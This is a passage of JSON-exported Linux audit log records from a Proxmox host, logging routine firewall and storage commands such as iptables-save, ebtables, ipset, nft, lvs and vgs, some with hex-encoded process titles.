{"@timestamp":1781964265370,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.370:60280): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964966034,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.034:63403): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964265363,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.363:60279): proctitle=\"ip6tables-save\""} {"@timestamp":1781964966029,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.029:63402): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964265356,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.356:60278): proctitle=\"iptables-save\""} {"@timestamp":1781964966025,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.025:63401): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964265351,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.351:60277): proctitle=69707365740073617665"} {"@timestamp":1781964966022,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.022:63400): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964265345,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.345:60276): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964966021,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.021:63399): argc=1 a0=\"date\""} {"@timestamp":1781964265338,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964265.338:60275): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964966017,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.017:63397): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964264793,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964264.793:60274): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964966010,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.010:63396): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964264747,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964264.747:60273): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964966005,"@rawstring":"node=pve type=EXECVE msg=audit(1781964966.005:63395): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964263522,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964263.522:60272): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964965999,"@rawstring":"node=pve type=EXECVE msg=audit(1781964965.999:63394): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964263522,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964263.522:60271): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964965993,"@rawstring":"node=pve type=EXECVE msg=audit(1781964965.993:63393): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964263522,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964263.522:60270): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964965987,"@rawstring":"node=pve type=EXECVE msg=audit(1781964965.987:63392): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964263514,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964263.514:60269): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964964736,"@rawstring":"node=pve type=EXECVE msg=audit(1781964964.736:63391): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964263514,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964263.514:60268): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964964705,"@rawstring":"node=pve type=EXECVE msg=audit(1781964964.705:63390): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964263514,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964263.514:60267): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964961285,"@rawstring":"node=pve type=EXECVE msg=audit(1781964961.285:63389): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964258507,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964258.507:60266): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964961275,"@rawstring":"node=pve type=EXECVE msg=audit(1781964961.275:63386): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964258507,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964258.507:60265): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964956265,"@rawstring":"node=pve type=EXECVE msg=audit(1781964956.265:63383): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964258507,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964258.507:60264): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964956255,"@rawstring":"node=pve type=EXECVE msg=audit(1781964956.255:63380): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964258497,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964258.497:60263): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964955978,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.978:63377): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964258497,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964258.497:60262): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964955974,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.974:63376): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964258497,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964258.497:60261): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964955973,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.973:63375): argc=1 a0=\"date\""} {"@timestamp":1781964255326,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.326:60260): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964955969,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.969:63373): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964255323,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.323:60259): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964955963,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.963:63372): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964255320,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.320:60258): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964955956,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.956:63371): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964255320,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.320:60257): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964955950,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.950:63370): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964255316,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.316:60256): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964955943,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.943:63369): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964255310,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.310:60255): proctitle=\"ip6tables-save\""} {"@timestamp":1781964955937,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.937:63367): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964255302,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.302:60254): proctitle=\"iptables-save\""} {"@timestamp":1781964955932,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.932:63366): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964255295,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.295:60253): proctitle=\"ip6tables-save\""} {"@timestamp":1781964955926,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.926:63365): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964255288,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.288:60252): proctitle=\"iptables-save\""} {"@timestamp":1781964955921,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.921:63364): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964255284,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.284:60251): proctitle=\"ebtables-restore\""} {"@timestamp":1781964955915,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.915:63363): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964255282,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.282:60250): proctitle=\"ebtables-restore\""} {"@timestamp":1781964955911,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.911:63362): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964255277,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.277:60249): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964955904,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.904:63361): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964255271,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.271:60248): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964955898,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.898:63360): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964255264,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.264:60247): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964955895,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.895:63359): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964255259,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.259:60246): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964955892,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.892:63358): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964255253,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.253:60245): proctitle=697073657400726573746F7265"} {"@timestamp":1781964955891,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.891:63357): argc=1 a0=\"date\""} {"@timestamp":1781964255246,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.246:60244): proctitle=\"ip6tables-save\""} {"@timestamp":1781964955887,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.887:63355): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964255239,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.239:60243): proctitle=\"iptables-save\""} {"@timestamp":1781964955881,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.881:63354): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964255234,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.234:60242): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964955875,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.875:63353): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964255231,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.231:60241): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964955870,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.870:63352): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964255230,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.230:60240): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964955864,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.864:63351): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964255230,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.230:60239): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964955858,"@rawstring":"node=pve type=EXECVE msg=audit(1781964955.858:63350): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964255224,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.224:60238): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964954637,"@rawstring":"node=pve type=EXECVE msg=audit(1781964954.637:63349): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964255215,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.215:60237): proctitle=\"ip6tables-save\""} {"@timestamp":1781964954604,"@rawstring":"node=pve type=EXECVE msg=audit(1781964954.604:63348): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964255209,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.209:60236): proctitle=\"iptables-save\""} {"@timestamp":1781964954141,"@rawstring":"node=pve type=EXECVE msg=audit(1781964954.141:63347): argc=2 a0=\"ps\" a1=\"-elf\""} {"@timestamp":1781964255203,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.203:60235): proctitle=69707365740073617665"} {"@timestamp":1781964951244,"@rawstring":"node=pve type=EXECVE msg=audit(1781964951.244:63346): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964255197,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.197:60234): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964951237,"@rawstring":"node=pve type=EXECVE msg=audit(1781964951.237:63343): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964255190,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964255.190:60233): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964946227,"@rawstring":"node=pve type=EXECVE msg=audit(1781964946.227:63340): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964254646,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964254.646:60232): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964946218,"@rawstring":"node=pve type=EXECVE msg=audit(1781964946.218:63337): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964254601,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964254.601:60231): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964945846,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.846:63334): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964253487,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964253.487:60230): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964945842,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.842:63333): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964253487,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964253.487:60229): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964945840,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.840:63332): argc=1 a0=\"date\""} {"@timestamp":1781964253487,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964253.487:60228): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964945835,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.835:63330): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964253478,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964253.478:60227): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964945829,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.829:63329): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964253478,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964253.478:60226): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964945821,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.821:63328): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964253478,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964253.478:60225): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964945814,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.814:63327): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964248472,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964248.472:60224): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964945804,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.804:63326): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964248472,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964248.472:60223): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964945797,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.797:63324): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964248472,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964248.472:60222): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964945792,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.792:63323): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964248462,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964248.462:60221): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964945786,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.786:63322): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964248462,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964248.462:60220): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964945781,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.781:63321): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964248462,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964248.462:60219): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964945775,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.775:63320): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964245179,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964245.179:60218): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964945771,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.771:63319): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964245176,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964245.176:60217): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964945763,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.763:63318): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964245174,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964245.174:60216): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964945757,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.757:63317): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964245174,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964245.174:60215): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964945752,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.752:63316): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964245117,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964245.117:60204): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964945749,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.749:63315): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964245113,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964245.113:60203): proctitle=697073657400726573746F7265"} {"@timestamp":1781964945748,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.748:63314): argc=1 a0=\"date\""} {"@timestamp":1781964245106,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964245.106:60202): proctitle=\"ip6tables-save\""} {"@timestamp":1781964945744,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.744:63312): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964245100,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964245.100:60201): proctitle=\"iptables-save\""} {"@timestamp":1781964945737,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.737:63311): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964245096,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964245.096:60200): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964945729,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.729:63310): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964245093,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964245.093:60199): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964945724,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.724:63309): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964245092,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964245.092:60198): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964945717,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.717:63308): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964245092,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964245.092:60197): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964945711,"@rawstring":"node=pve type=EXECVE msg=audit(1781964945.711:63307): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964245086,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964245.086:60196): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964944502,"@rawstring":"node=pve type=EXECVE msg=audit(1781964944.502:63306): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964245080,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964245.080:60195): proctitle=\"ip6tables-save\""} {"@timestamp":1781964944466,"@rawstring":"node=pve type=EXECVE msg=audit(1781964944.466:63305): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964245073,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964245.073:60194): proctitle=\"iptables-save\""} {"@timestamp":1781964941210,"@rawstring":"node=pve type=EXECVE msg=audit(1781964941.210:63304): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964245068,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964245.068:60193): proctitle=69707365740073617665"} {"@timestamp":1781964941199,"@rawstring":"node=pve type=EXECVE msg=audit(1781964941.199:63301): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964245062,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964245.062:60192): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964245055,"@rawstring":"node=pve 